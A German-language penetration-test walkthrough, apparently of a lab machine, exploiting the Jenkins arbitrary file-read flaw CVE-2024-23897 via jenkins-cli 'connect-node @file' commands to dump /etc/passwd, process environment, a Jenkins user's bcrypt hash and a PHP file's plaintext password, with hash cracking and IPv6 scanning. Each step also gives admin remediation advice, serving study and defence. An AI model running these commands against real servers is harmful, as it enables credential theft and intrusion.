 | || |__ _ __| |__ | |_| |_  ___  | _ \ |__ _ _ _  ___| |_
 | __ / _` / _| / / |  _| ' \/ -_) |  _/ / _` | ' \/ -_)  _|
 |_||_\__,_\__|_\_\  \__|_||_\___| |_| |_\__,_|_||_\___|\__|

Exploiting..
b'\x00\x00\x00\x00p\x08mail:x:8:8:mail:/var/mail:/usr/sbin/nologin: No such agent "mail:x:8:8:mail:/var/mail:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00z\x08_apt:x:100:65534/nonexistent:/usr/sbin/nologin: No such agent "_apt:x:100:65534/nonexistent:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00\x9e\x08systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin: No such agent "systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00\xbc\x08gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin: No such agent "gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00\xcc\x08systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin: No such agent "systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00\xaa\x08avahi:x:107:114:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin: No such agent "avahi:x:107:114:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00r\x08irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such agent "irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00\x94\x08list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such agent "list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00x\x08man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such agent "man:x:6:12:man:/var/cache/man:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00x\x08daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such agent "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00b\x08sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such agent "sys:x:3:3:sys:/dev:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00z\x08george:x:1000:1000:george:/home/george:/bin/bash: No such agent "george:x:1000:1000:george:/home/george:/bin/bash" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00^\x08sync:x:4:65534:sync:/bin:/bin/sync: No such agent "sync:x:4:65534:sync:/bin:/bin/sync" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00\x82\x08www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent "www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00X\x08root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00\x82\x08backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent "backup:x:34:34:backup:/var/backups:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00\x8e\x08nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00r\x08lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent "lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00\x80\x08uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such agent "uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00\x82\x08messagebus:x:103:109/nonexistent:/usr/sbin/nologin: No such agent "messagebus:x:103:109/nonexistent:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00b\x08bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such agent "bin:x:2:2:bin:/bin:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00|\x08news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such agent "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00t\x08sshd:x:105:65534/run/sshd:/usr/sbin/nologin: No such agent "sshd:x:105:65534/run/sshd:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00n\x08proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such agent "proxy:x:13:13:proxy:/bin:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00\xc6\x08systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin: No such agent "systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00\xb2\x08systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin: No such agent "systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00\x88\x08jenkins:x:106:112:Jenkins,,,:/var/lib/jenkins:/bin/bash: No such agent "jenkins:x:106:112:Jenkins,,,:/var/lib/jenkins:/bin/bash" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00\x84\x08geoclue:x:108:115/var/lib/geoclue:/usr/sbin/nologin: No such agent "geoclue:x:108:115/var/lib/geoclue:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00x\x08games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such agent "games:x:5:60:games:/usr/games:/usr/sbin/nologin" exists.\x00\x00\x00\x01\x08\n\x00\x00\x00\x01\x08\n\x00\x00\x00P\x08ERRR: Error occurred while performing this command, see previous stderr output.\x00\x00\x00\x01\x08\n\x00\x00\x00\x04\x04\x00\x00\x00\x05'

**Analyse:** Der heruntergeladene Python-Exploit (`CVE-2024-23897.py`) wird ausgeführt. * `-u http://192.168.2.126:8080/`: Gibt die URL der verwundbaren Jenkins-Instanz an. * `-f /etc/passwd`: Gibt die Datei an, die ausgelesen werden soll. Die Ausgabe des Skripts ist ein Binär-String (`b'...'`), der den Inhalt der `/etc/passwd`-Datei enthält, vermischt mit Fehlermeldungen (`No such agent ... exists.`) und Steuerzeichen (`\x00`, `\x08`, `\n`). Dies liegt daran, wie der Exploit die Daten über die Jenkins-CLI-Schnittstelle extrahiert und wie Jenkins die Zeilenumbrüche und Inhalte verarbeitet.

**Bewertung:** Der Exploit funktioniert! Obwohl die Ausgabe unformatiert ist, bestätigt sie das erfolgreiche Auslesen der `/etc/passwd`-Datei. Wichtige Informationen sind darin sichtbar: * Benutzer `root` mit Home `/root` und Shell `/bin/bash`. * Benutzer `george` mit UID 1000, Home `/home/george` und Shell `/bin/bash`. * Benutzer `jenkins` mit Home `/var/lib/jenkins` und Shell `/bin/bash`. * Andere Systembenutzer (`mail`, `www-data`, etc.). Dies bestätigt die Existenz des Benutzers `george` und zeigt, dass sowohl `george` als auch `jenkins` eine interaktive Shell haben.

**Empfehlung (Pentester):** Die Ausgabe bereinigen, um die reinen `/etc/passwd`-Einträge zu extrahieren (manuell oder mit Skripten). Den Exploit verwenden, um weitere interessante Dateien zu lesen: `/etc/shadow` (für Passwort-Hashes, falls lesbar), SSH-Keys (insbesondere `/home/george/.ssh/id_rsa`, `/var/lib/jenkins/.ssh/id_rsa`, `/root/.ssh/id_rsa`), `/var/www/html/connect.php` (um den Quellcode zu sehen). **Empfehlung (Admin):** Jenkins **sofort** patchen oder abschalten. Dateiberechtigungen überprüfen, um sicherzustellen, dass der Jenkins-Prozess nicht auf unnötig viele Dateien zugreifen kann.

┌──(root㉿CCat)-[~/Hackingtools/Jenkins_2.401.2_Exploit/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability] └─# python3 CVE-2024-23897.py -h
usage: CVE-2024-23897.py [-h] -u TARGETURL -f TARGETFILE

CVE-2024-23897

options:
  -h, --help            show this help message and exit
  -u TARGETURL, --targetUrl TARGETURL
                        The target URL
  -f TARGETFILE, --targetFile TARGETFILE
                        The target file

**Analyse:** Die Hilfe-Option (`-h`) des Python-Exploits wird aufgerufen, um die verfügbaren Optionen und die Syntax zu überprüfen. Es bestätigt die Optionen `-u` für die Ziel-URL und `-f` für die zu lesende Datei.

**Bewertung:** Standardverfahren zur Überprüfung der Tool-Nutzung. Keine neuen Erkenntnisse, bestätigt aber die korrekte Verwendung im vorherigen Schritt.

**Empfehlung (Pentester):** Immer die Hilfe-Funktion von Tools prüfen, um alle Möglichkeiten zu verstehen. **Empfehlung (Admin):** Keine Aktion erforderlich.

Da der erste Exploit eine unsaubere Ausgabe liefert, wird ein anderer Exploit für dieselbe Schwachstelle ausprobiert, der die Jenkins CLI direkt verwendet.

┌──(root㉿CCat)-[~/Hackingtools/Jenkins_2.401.2_Exploit/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability] └─# git clone https://github.com/3yujw7njai/CVE-2024-23897.git
Klone nach 'CVE-2024-23897'...
remote: Enumerating objects: 16, done.
remote: Counting objects: 100% (16/16), done.
remote: Compressing objects: 100% (13/13), done.
remote: Total 16 (delta 2), reused 0 (delta 0), pack-reused 0 (from 0)
Empfange bjekte: 100% (16/16), 3.10 MiB | 8.18 MiB/s, fertig.
Löse Unterschiede auf: 100% (2/2), fertig.

**Analyse:** Ein zweites GitHub-Repository, das einen Exploit für CVE-2024-23897 enthält, wird heruntergeladen. Dieses Repository scheint die `jenkins-cli.jar`-Datei zu enthalten, die zur Interaktion mit Jenkins verwendet wird.

**Bewertung:** Es ist sinnvoll, alternative Exploits zu testen, wenn der erste nicht optimal funktioniert oder eine unsaubere Ausgabe liefert. Die Verwendung der offiziellen `jenkins-cli.jar` könnte zu einer besseren Formatierung der Ergebnisse führen.

**Empfehlung (Pentester):** In das neue Verzeichnis wechseln und die `jenkins-cli.jar` verwenden, um die Schwachstelle auszunutzen. **Empfehlung (Admin):** Jenkins patchen!

┌──(root㉿CCat)-[~/Hackingtools/Jenkins_2.401.2_Exploit/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability/CVE-2024-23897] └─# java -jar jenkins-cli.jar -s http://192.168.2.126:8080 -http connect-node "@/proc/self/environ"
ERRR: No such agent "JENKINS_HME=/var/lib/jenkinsUSER=jenkinsHME=/var/lib/jenkins
NTIFY_SCKET=/run/systemd/notifyLGNAME=jenkins
JURNAL_STREAM=8:970525
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
INVCATIN_ID=e5a5e3e538934bedb28a84c5a01b9b06LANG=es_ES.UTF-8
SHELL=/bin/bashPWD=/var/lib/jenkins"
exists.

**Analyse:** Der Exploit wird nun mit der `jenkins-cli.jar` ausgeführt. * `java -jar jenkins-cli.jar`: Führt die CLI-Datei aus. * `-s http://192.168.2.126:8080`: Gibt die Server-URL an. * `-http`: Verwendet HTTP für die Verbindung. * `connect-node`: Der Jenkins-Befehl, der für den Exploit missbraucht wird. * `"@/proc/self/environ"`: Der Trick bei CVE-2024-23897. Das `@` weist Jenkins an, den Inhalt der folgenden Datei zu lesen und als Argument zu verwenden. Hier wird versucht, die Umgebungsvariablen des Jenkins-Prozesses selbst auszulesen (`/proc/self/environ`). Die Ausgabe zeigt die Umgebungsvariablen des Jenkins-Prozesses (`JENKINS_HOME`, `USER`, `PATH`, etc.), wieder eingebettet in die Fehlermeldung `ERRR: No such agent "..." exists.`.

**Bewertung:** Dieser Exploit funktioniert ebenfalls und bestätigt die LFI-Schwachstelle. Das Auslesen von `/proc/self/environ` ist ein klassischer Test, um zu sehen, ob LFI möglich ist. Die Umgebungsvariablen selbst sind hier nicht unmittelbar nützlich, aber der Beweis der Lesbarkeit von Dateien ist erbracht.

**Empfehlung (Pentester):** Nun gezielt sensible Dateien mit diesem Exploit lesen. Die Ausgabe ist immer noch von der Fehlermeldung umgeben, aber möglicherweise sauberer als beim Python-Skript. **Empfehlung (Admin):** Jenkins patchen!

┌──(root㉿CCat)-[~/Hackingtools/Jenkins_2.401.2_Exploit/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability/CVE-2024-23897] └─# java -jar jenkins-cli.jar -s http://192.168.2.126:8080 -http connect-node "@/etc/passwd" | tr " " "\n"
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin:
No such agent "mail:x:8:8:mail:/var/mail:/usr/sbin/nologin" exists.
_apt:x:100:65534/nonexistent:/usr/sbin/nologin:
No such agent "_apt:x:100:65534/nonexistent:/usr/sbin/nologin" exists.
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin:
No such agent "systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin" exists.
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin:
No such agent "gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin" exists.
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin:
No such agent "systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin" exists.
avahi:x:107:114:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin: No such agent "avahi:x:107:114:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin" exists.
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin: No such agent "irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin" exists.
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin: No such agent "list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin" exists.
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin: No such agent "man:x:6:12:man:/var/cache/man:/usr/sbin/nologin" exists.
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin: No such agent "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin" exists.
sys:x:3:3:sys:/dev:/usr/sbin/nologin: No such agent "sys:x:3:3:sys:/dev:/usr/sbin/nologin" exists.
george:x:1000:1000:george:/home/george:/bin/bash: No such agent "george:x:1000:1000:george:/home/george:/bin/bash" exists.
sync:x:4:65534:sync:/bin:/bin/sync: No such agent "sync:x:4:65534:sync:/bin:/bin/sync" exists.
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin: No such agent "www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin" exists.
root:x:0:0:root:/root:/bin/bash: No such agent "root:x:0:0:root:/root:/bin/bash" exists.
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin: No such agent "backup:x:34:34:backup:/var/backups:/usr/sbin/nologin" exists.
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin: No such agent "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin" exists.
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin: No such agent "lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin" exists.
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin: No such agent "uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin" exists.
messagebus:x:103:109/nonexistent:/usr/sbin/nologin: No such agent "messagebus:x:103:109/nonexistent:/usr/sbin/nologin" exists.
bin:x:2:2:bin:/bin:/usr/sbin/nologin: No such agent "bin:x:2:2:bin:/bin:/usr/sbin/nologin" exists.
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin: No such agent "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin" exists.
sshd:x:105:65534/run/sshd:/usr/sbin/nologin: No such agent "sshd:x:105:65534/run/sshd:/usr/sbin/nologin" exists.
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin: No such agent "proxy:x:13:13:proxy:/bin:/usr/sbin/nologin" exists.
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin: No such agent "systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin" exists.
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin: No such agent "systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin" exists.
jenkins:x:106:112:Jenkins,,,:/var/lib/jenkins:/bin/bash: No such agent "jenkins:x:106:112:Jenkins,,,:/var/lib/jenkins:/bin/bash" exists.
geoclue:x:108:115/var/lib/geoclue:/usr/sbin/nologin: No such agent "geoclue:x:108:115/var/lib/geoclue:/usr/sbin/nologin" exists.
games:x:5:60:games:/usr/games:/usr/sbin/nologin: No such agent "games:x:5:60:games:/usr/games:/usr/sbin/nologin" exists.

**Analyse:** Derselbe Exploit wird verwendet, um erneut `/etc/passwd` zu lesen. Diesmal wird die Ausgabe durch `tr " " "\n"` geleitet, um Leerzeichen in Zeilenumbrüche umzuwandeln. Dies trennt die eigentlichen Dateiinhalte besser von der Fehlermeldung `No such agent ... exists.`, die nun meist auf einer eigenen Zeile steht.

**Bewertung:** Diese Methode verbessert die Lesbarkeit der Ausgabe erheblich. Der Inhalt von `/etc/passwd` ist nun klarer ersichtlich. Es bestätigt die gleichen Benutzer wie zuvor.

**Empfehlung (Pentester):** Diese Methode (`java -jar ... | tr " " "\n"`) für das Auslesen weiterer Dateien verwenden, um die Ergebnisse leichter zu parsen. Als nächstes die Jenkins-Konfigurationsdateien oder Benutzerdateien anvisieren. **Empfehlung (Admin):** Jenkins patchen!

┌──(root㉿CCat)-[~/Hackingtools/Jenkins_2.401.2_Exploit/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability/CVE-2024-23897] └─# java -jar jenkins-cli.jar -s http://192.168.2.126:8080 -http connect-node "@/var/lib/jenkins/users/users.xml"

</hudson.model.UserIdMapper>" exists.
      <string>george_8890299498896814087</string>: No such agent "      
<string>george_8890299498896814087</string>" exists.

**Analyse:** Der Exploit wird verwendet, um die Datei `/var/lib/jenkins/users/users.xml` zu lesen. Diese Datei in Jenkins listet normalerweise die internen IDs der angelegten Benutzer auf. Die Ausgabe zeigt einen Eintrag für den Benutzer `george` mit einer langen numerischen ID (`george_8890299498896814087`).

**Bewertung:** Das Auslesen der `users.xml` war erfolgreich. Die interne ID `george_8890299498896814087` ist wichtig, da Jenkins die Konfigurationsdateien für Benutzer oft unter diesem internen Namen im Dateisystem ablegt.

**Empfehlung (Pentester):** Die gefundene interne ID verwenden, um die Konfigurationsdatei des Benutzers `george` zu lesen. Der Pfad ist typischerweise `/var/lib/jenkins/users/<interne_id>/config.xml`. **Empfehlung (Admin):** Jenkins patchen!

┌──(root㉿CCat)-[~/Hackingtools/Jenkins_2.401.2_Exploit/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability/CVE-2024-23897] └─# java -jar jenkins-cli.jar -s http://192.168.2.126:8080 -http connect-node "@/var/lib/jenkins/users/george_8890299498896814087/config.xml"

<jenkins.security.ApiTokenProperty>:
    </hudson.model.PaneStatusProperties>:
    <org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.3.7">:

    </hudson.tasks.Mailer_-UserProperty>:
   </hudson.tasks.Mailer_-UserProperty>" exists.
      <passwordHash>#jbcrypt:$2a$10$XdBdHWKxYTprKNzAvxiRs1PFoSRzZ1Qm0oqxoATRMogHhQa5gXm</passwordHash>
      <passwordHash>#jbcrypt:$2a$10$XdBdHWKxYTprKNzAvxiRs1PFoSRzZ1Qm0oqxoATRMogHhQa5gXm</passwordHash>

**Analyse:** Der Exploit liest nun die Datei `/var/lib/jenkins/users/george_8890299498896814087/config.xml`. Dies ist die Konfigurationsdatei für den Jenkins-Benutzer `george`. In der Ausgabe finden sich XML-Tags. Besonders relevant ist der Tag ``, der einen Passwort-Hash im jBCrypt-Format enthält: `#jbcrypt:$2a$10$XdBdHWKxYTprKNzAvxiRs1PFoSRzZ1Qm0oqxoATRMogHhQa5gXm`.

**Bewertung:** **Volltreffer!** Das Auslesen des Passwort-Hashes für den Benutzer `george` ist ein signifikanter Fortschritt. Dieser Hash kann nun offline mit Tools wie `John the Ripper` oder `Hashcat` und einer Wortliste geknackt werden, um das Klartextpasswort von George zu erhalten.

**Empfehlung (Pentester):** Den gefundenen jBCrypt-Hash extrahieren und versuchen, ihn mit `john` und einer gängigen Wortliste (z.B. `rockyou.txt`) zu knacken. **Empfehlung (Admin):** Jenkins patchen! Zusätzlich sicherstellen, dass Benutzer starke, einzigartige Passwörter verwenden, um das Knacken von Hashes zu erschweren.

┌──(root㉿CCat)-[~/Hackingtools/Jenkins_2.401.2_Exploit/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability/CVE-2024-23897] └─# echo '#jbcrypt:$2a$10$XdBdHWKxYTprKNzAvxiRs1PFoSRzZ1Qm0oqxoATRMogHhQa5gXm' > hash
# (Keine Ausgabe, der Hash wird in die Datei 'hash' geschrieben)

**Analyse:** Der Befehl `echo` schreibt den extrahierten jBCrypt-Passwort-Hash in eine lokale Datei namens `hash`. Dies bereitet den Hash für die Verarbeitung durch Passwort-Cracking-Tools vor.

**Bewertung:** Notwendiger Zwischenschritt für das Offline-Cracking.

**Empfehlung (Pentester):** Die Datei `hash` nun mit `john` oder `hashcat` verarbeiten. **Empfehlung (Admin):** Keine Aktion erforderlich.

┌──(root㉿CCat)-[~/Hackingtools/Jenkins_2.401.2_Exploit/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability/CVE-2024-23897] └─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 16 penMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:03:06 0.74% (ETA: 07:26:05) 0g/s 677.6p/s 677.6c/s 677.6C/s amberley..abby17
Session aborted

**Analyse:** `John the Ripper` wird gestartet, um den Hash in der Datei `hash` zu knacken. * `--wordlist=/usr/share/wordlists/rockyou.txt`: Gibt die zu verwendende Wortliste an. John erkennt den Hash korrekt als bcrypt. Der Cracking-Prozess beginnt, wird aber nach über 3 Minuten manuell abgebrochen (`Session aborted`), bevor das Passwort gefunden wurde. Die Statuszeile zeigt eine sehr niedrige Fortschrittsrate (0.74%) und eine geschätzte Restzeit von über 7 Stunden.

**Bewertung:** Der Versuch, den Hash mit `rockyou.txt` zu knacken, war in diesem Zeitrahmen nicht erfolgreich. BCrypt ist ein relativ langsamer Hashing-Algorithmus, was das Knacken erschwert. Es bedeutet nicht, dass das Passwort stark ist, nur dass es nicht in der verwendeten Wortliste enthalten ist oder mehr Zeit benötigt wird.

**Empfehlung (Pentester):** Den Cracking-Prozess im Hintergrund weiterlaufen lassen oder eine potentere Hardware/Cloud-Instanz verwenden. Parallel dazu andere Wege suchen, um Zugriff zu erlangen, da das Knacken des Hashes möglicherweise zu lange dauert. Den LFI-Exploit weiter nutzen, um andere potenziell nützliche Dateien zu suchen. **Empfehlung (Admin):** Auch wenn der Hash nicht sofort geknackt wurde, zeigt dies die Gefahr. Starke Passwörter und regelmäßige Passwortwechsel sind wichtig.

Da das Passwort-Cracking erfolglos war, wird der LFI-Exploit weiter genutzt, um Netzwerk-Informationen zu sammeln.

┌──(root㉿CCat)-[~/Hackingtools/Jenkins_2.401.2_Exploit/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability/CVE-2024-23897] └─# java -jar jenkins-cli.jar -s http://192.168.2.126:8080 -http connect-node "@/proc/net/if_inet6" -f
00000000000000000000000000000001 01 80 10 80       lo: No such agent "00000000000000000000000000000001 01 80 10 80       lo" exists.
fe800000000000000a0027fffebdf862 02 40 20 80   enp0s3: No such agent "fe800000000000000a0027fffebdf862 02 40 20 80   enp0s3" exists.
200300d4c7164f500a0027fffebdf862 02 40 00 00   enp0s3: No such agent "200300d4c7164f500a0027fffebdf862 02 40 00 00   enp0s3" exists.

ERRR: Error occurred while performing this command, see previous stderr output.

**Analyse:** Der Exploit wird verwendet, um die Datei `/proc/net/if_inet6` zu lesen. Diese Datei enthält Informationen über die IPv6-Schnittstellen des Systems. Die Option `-f` wurde hinzugefügt (möglicherweise ein Tippfehler oder ein Versuch, eine andere Option zu nutzen, da `-f` laut vorheriger Hilfe-Ausgabe für die Zieldatei steht - aber die CLI scheint es zu ignorieren und liest trotzdem die Datei). Die Ausgabe zeigt die IPv6-Adressen der Loopback-Schnittstelle (`lo`) und der Hauptnetzwerkschnittstelle (`enp0s3`). Interessant sind die Link-Local-Adresse (`fe80...`) und eine globale IPv6-Adresse (`2003...`).

**Bewertung:** Das System hat aktive IPv6-Adressen. Dies eröffnet potenziell neue Angriffsvektoren über IPv6, falls Dienste auch auf diesen Adressen lauschen (z.B. SSH).

**Empfehlung (Pentester):** Die gefundenen IPv6-Adressen (insbesondere die Link-Local `fe80::a00:27ff:febd:f862`) verwenden, um das Ziel erneut mit `nmap` zu scannen (`nmap -6 [ipv6_adresse]`), um zu sehen, ob darüber zusätzliche Dienste erreichbar sind (z.B. SSH). **Empfehlung (Admin):** IPv6 nur aktivieren, wenn es benötigt wird. Wenn aktiviert, sicherstellen, dass die Firewall-Regeln auch IPv6-Verkehr korrekt filtern und Dienste nicht ungewollt über IPv6 erreichbar sind.

┌──(root㉿CCat)-[~] └─# echo 'fe800000000000000a0027fffebdf862' | sed "s/..../&:/g"
fe80:0000:0000:0000:0a00:27ff:febd:f862:

**Analyse:** Der `echo`-Befehl gibt den Hex-String der Link-Local IPv6-Adresse aus. `sed "s/..../&:/g"` fügt nach jeweils vier Zeichen einen Doppelpunkt ein, um die Adresse in das Standard-IPv6-Format zu konvertieren. Das abschließende `:` ist überflüssig, aber die Adresse ist erkennbar.

**Bewertung:** Ein einfacher Shell-Befehl zur Formatierung der IPv6-Adresse für die weitere Verwendung.

**Empfehlung (Pentester):** Die formatierte Adresse `fe80::a00:27ff:febd:f862` (die Nullen können komprimiert werden) für den IPv6-Scan verwenden. **Empfehlung (Admin):** Keine Aktion erforderlich.

┌──(root㉿CCat)-[~] └─# nmap fe80::a00:27ff:febd:f862%eth0 -6
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-05 00:36 CEST
Nmap scan report for leak (fe80a00:27ff:febd:f862)
Host is up (0.00012s latency).
Not shown: 997 closed tcp ports (reset)
PRT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy
MAC Address: 08:00:27:BD:F8:62 (racle VirtualBox virtual NIC)

**Analyse:** `nmap` wird erneut ausgeführt, diesmal jedoch mit der Option `-6`, um über IPv6 zu scannen. Als Ziel wird die zuvor formatierte Link-Local-Adresse `fe80::a00:27ff:febd:f862` verwendet. `%eth0` gibt die lokale Schnittstelle an, über die die Link-Local-Adresse erreicht werden soll (dies ist bei Link-Local-Adressen oft notwendig). Der Scan findet die gleichen Ports wie der IPv4-Scan (80, 8080), aber zusätzlich ist **Port 22 (SSH)** offen und über IPv6 erreichbar.

**Bewertung:** **Wichtiger Fund!** Der SSH-Dienst läuft und ist über IPv6 zugänglich, obwohl er im ursprünglichen IPv4-Scan nicht gefunden wurde. Dies bietet einen potenziellen Weg für den initialen Zugriff, wenn gültige Anmeldedaten (Benutzername/Passwort oder Schlüssel) erlangt werden können.

**Empfehlung (Pentester):** Versuchen, sich über SSH mit dem Benutzer `george` anzumelden. Da das Knacken des Hashes bisher fehlschlug, weiter nach anderen Anmeldeinformationen suchen, z.B. indem die Datei `connect.php` mit dem LFI-Exploit ausgelesen wird. **Empfehlung (Admin):** Überprüfen, warum SSH nur über IPv6 erreichbar ist. Wenn SSH nicht benötigt wird, deaktivieren. Wenn es benötigt wird, sicherstellen, dass es korrekt konfiguriert ist (z.B. nur Schlüsselauthentifizierung erlauben) und die Firewall-Regeln sowohl für IPv4 als auch IPv6 gelten.

Proof of Concept (CVE-2024-23897)

Dieser Abschnitt demonstriert die Ausnutzung der Schwachstelle CVE-2024-23897 in Jenkins 2.401.2, um beliebige Dateien vom Server zu lesen.

**Kurzbeschreibung:** Die Schwachstelle CVE-2024-23897 erlaubt es einem nicht authentifizierten Angreifer, über eine speziell präparierte Anfrage an die Jenkins CLI-Schnittstelle den Inhalt beliebiger Dateien auf dem Server auszulesen, auf die der Jenkins-Prozess Zugriff hat. Der POC zielt darauf ab, die Datei `/var/www/html/connect.php` auszulesen, in der Anmeldeinformationen vermutet werden.

**Voraussetzungen:**

Schritt-für-Schritt Anleitung:

┌──(root㉿CCat)-[~/Hackingtools/Jenkins_2.401.2_Exploit/CVE-2024-23897-Jenkins-Arbitrary-Read-File-Vulnerability/CVE-2024-23897] └─# java -jar jenkins-cli.jar -s http://192.168.2.126:8080 -http connect-node "@/var/www/html/connect.php"
: anonymous no tiene el permiso Nodo/Connect
$password = "g30rg3_L3@k3D";: No such agent "$password = "g30rg3_L3@k3D";" exists.
$servername = "localhost";: No such agent "$servername = "localhost";" exists.
<?php: No such agent "<?php" exists.
$username = "george";

